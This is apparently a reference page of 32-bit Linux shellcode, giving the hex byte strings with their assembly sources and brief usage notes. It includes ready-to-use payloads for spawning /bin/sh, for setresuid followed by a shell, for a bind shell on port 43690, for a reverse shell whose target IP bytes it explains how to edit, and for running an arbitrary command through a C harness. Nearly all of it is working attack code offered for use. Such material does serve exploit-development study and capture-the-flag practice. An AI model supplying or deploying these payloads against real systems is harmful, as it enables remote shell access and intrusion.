Shellcode

Execve

/* Extracted shellcode (24 bytes): */

char shellcode[] =
        \x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
        \xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80;

This piece of shellcode calls /bin/sh to the rescue.

Assembly code

BITS 32
section .code
    global _start

_start:
    xor eax, eax
    cdq
    push eax
    push dword 0x68732f6e
    push dword 0x69622f2f
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al, 0x0b
    int 0x80

Geteuid + Seteuid + Execve

/* Extracted shellcode (47 bytes): */

char shellcode[] =
        \x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0
        \xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f
        \x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b
        \xcd\x80;

This code will grab the effective uid of the process, pass it to setresuid and then call /bin/sh.

Assembly code

BITS 32
section .code
    global _start

_start:
    xor eax, eax
    cdq

    ; Call geteuid()
    mov al, 49
    int 0x80

    ; Call setresuid() with the value
    ; returned by getuid()
    mov ebx, eax
    mov ecx, eax
    mov edx, eax
    xor eax, eax
    mov al, 164
    int 0x80

    ; Execute /bin/sh
    xor eax, eax
    cdq
    xor ecx, ecx
    xor edx, edx
    push eax
    push dword 0x68732f6e
    push dword 0x69622f2f
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al, 0x0b
    int 0x80

Morning!

/* Extracted shellcode (34 bytes): */

char shellcode[] =
        \x31\xc0\x31\xdb\x31\xc9\x31\xd2\x6a\x0a\x68\x69\x6e\x67\x21
        \x68\x4d\x6f\x72\x6e\x89\xe1\xb2\x09\xb3\x01\xb0\x04\xcd\x80
        \xb0\x01\xcd\x80;

Prints Morning! on the standard output stream and exits with exit code 1.

Assembly code

BITS 32
section .code
    global _start

_start:
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    push 0x0a
    push 0x21676e69
    push 0x6e726f4d
    mov ecx, esp
    mov dl, 9
    mov bl, 1
    mov al, 0x4
    int 0x80

    mov al, 0x1
    int 0x80

Port Bind

/* Extracted shellcode (97 bytes): */

char shellcode[] =
        \x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0
        \x66\xcd\x80\x89\xc6\x52\x68\xaa\x02\xaa\xaa\x89\xe1\x6a\x10
        \x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a\x01\x56\x89\xe1
        \xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66
        \xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75
        \xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52
        \x53\x89\xe1\xb0\x0b\xcd\x80;

Good old port bind shellcode. If the server rejects your connection, use a reverse shell instead.

The shellcode binds to port 43690, which is AAAA in hex. The bytes corresponding to the port are \xaa\xaa on the second line.

Assembly code

BITS 32

section .text
    global _start

_start:
    xor eax, eax
    xor ebx, ebx
    cdq

    ;Socket
    push eax
    push byte 0x1
    push byte 0x2
    mov ecx, esp
    inc bl
    mov al, 102
    int 0x80
    mov esi, eax

    ;Bind
    push edx
    push dword 0xAAAA02AA
    mov ecx, esp
    push byte 0x10
    push ecx
    push esi
    mov ecx, esp
    inc bl
    mov al, 102
    int 0x80

    ;Listen (Connections = 1)
    push byte 0x1
    push esi
    mov ecx, esp
    mov bl, 0x4
    mov al, 102
    int 0x80

    ;Accept
    push edx
    push edx
    push esi
    mov ecx, esp
    inc bl
    mov al, 102
    int 0x80
    mov ebx, eax

    ;Duplicate channels
    xor ecx, ecx
    mov cl, 3
dup:
    dec cl
    mov al, 63
    int 0x80
    jnz dup

    ;Execute the shell
    push edx
    push dword 0x68732f6e
    push dword 0x69622f2f
    mov ebx, esp
    push edx
    push ebx
    mov ecx, esp
    mov al, 0x0b
    int 0x80

Reverse Shell

/* Extracted shellcode (83 bytes): */

char shellcode[] =
        \x31\xc0\x31\xdb\x99\x52\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0
        \x66\xcd\x80\x89\xc6\x52\x68\x7f\x00\x00\x01\xb9\xfd\xff\x55
        \x55\xf7\xd1\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0
        \x66\xcd\x80\x89\xf3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80
        \x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3
        \x52\x53\x89\xe1\xb0\x0b\xcd\x80;

A reverse shell shellcode, for when incoming traffic into the server is blocked.

It will probably not work in its current stage since it attempts to connect to 127.0.0.1, therefore containing two null values.

The bytes \x7f\x00\x00\x01 on the second line correspond to the IP address to connect to. Change these values accordingly. For instance, if you wanted the shell to connect to 1.2.3.4, you would change those four bytes to the following: \x01\x02\x03\x04.

Assembly code

BITS 32

section .text
    global _start

_start:
    xor eax, eax
    xor ebx, ebx
    cdq

    ;Socket
    push edx
    push byte 0x1
    push byte 0x2
    mov ecx, esp
    inc bl
    mov al, 102
    int 0x80
    mov esi, eax

    ;Connect to 127.0.0.1 / Shellcode will obviously
    ;not work for 127.0.0.1 since it will contain two
    ;null values.
    ;push dword 0xAAAA0002
    ;NOT 0x5555FFFD = 0xAAAA0002
    push edx
    push dword 0x0100007F
    mov ecx, 0x5555FFFD
    not ecx
    push ecx
    mov ecx, esp
    push byte 0x10
    push ecx
    push esi
    mov ecx, esp
    mov bl, 3
    mov al, 102
    int 0x80

    ;Duplicate channels
    mov ebx, esi
    xor ecx, ecx
    mov cl, 3
dup:
    dec cl
    mov al, 63
    int 0x80
    jnz dup

    ;Execute the shell
    push edx
    push dword 0x68732f6e
    push dword 0x69622f2f
    mov ebx, esp
    push edx
    push ebx
    mov ecx, esp
    mov al, 0x0b
    int 0x80

Run Command

/* Extracted shellcode (46 bytes): */

char shellcode[] =
        \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3
        \x50\x66\x68\x2d\x63\x89\xe1\xeb\x0d\x5a\x50\x52\x51\x53\x89
        \xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff
        **your command here**;

The runcmd shellcode will run a command of your choice.

All you need to do is replace your command here with your command. For instance, if we wanted to run date, we would type in the following in a file:

char shellcode[] =
        \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3
        \x50\x66\x68\x2d\x63\x89\xe1\xeb\x0d\x5a\x50\x52\x51\x53\x89
        \xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff
        date;

int main(void)
{
    void (*func)();
    func = (void (*)()) shellcode;
    (void)(*func)();
}

Next we compile with gcc:

gcc date.c -o date

And run the program to get the following results:

Sat Aug 21 13:10:46 CEST 2010

Assembly code

BITS 32

section .text
    global _start

_start:
    xor eax, eax
    push eax
    push dword 0x68732f6e
    push dword 0x69622f2f
    mov ebx, esp
    push eax
    push word 0x632d
    mov ecx, esp
    jmp short get_cmd

code:
    pop edx
    push eax
    push edx
    push ecx
    push ebx
    mov ecx, esp
    xor edx, edx
    mov al, 0x0b
    int 0x80

get_cmd:
    call code
    db 'date'